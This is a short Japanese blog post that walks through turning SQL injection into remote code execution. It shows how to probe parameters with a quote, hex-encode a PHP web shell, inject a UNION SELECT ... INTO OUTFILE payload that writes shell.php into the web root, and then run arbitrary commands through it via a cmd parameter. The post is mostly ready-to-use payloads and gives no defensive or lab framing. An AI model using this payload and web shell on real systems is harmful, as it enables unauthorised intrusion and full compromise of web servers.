💬

SQLiを利用したRCEの一例

に公開

1.SQLiの脆弱性があるパラメータの探索
Burp等でリクエストの中にあるパラメータの値の後に「'」をつけてエラーになるかを確認する。

FireFoxの開発者ツールより「ネットワーク」から対象の通信を選択し、「ボディ」の値を変更して「送信」、画面右側の「応答」から確認可能。

2.RCE用のペイロード作成
ペイロードを正確にわたすため16進変換する。以下の例はphpを使用。

ペイロード作成
echo -n '<?php system($_GET["cmd"]); ?>' | xxd -p\n

確認用のコマンド
echo '3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e' | xxd -r -p

3.SQLiの攻撃
2.で作成したペイロードは先頭に「0x」を追加する。
1.で特定したパラメータに以下のように記載する。
※カラム数や書き込み先ファイルパスは適宜変更が必要

「make」に脆弱性がある場合
year=default&style=default&make=default' UNION SELECT 1,2,3,4,5,6,0x3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e INTO OUTFILE '/var/www/html/shell.php'-- - &condition=default&model=default&price=default

4.RCE実行
ファイルが書き込めたら任意のコマンドを実行する。

リクエストの例
http://対象ホスト/shell.php?cmd=[任意のコマンド]

Discussion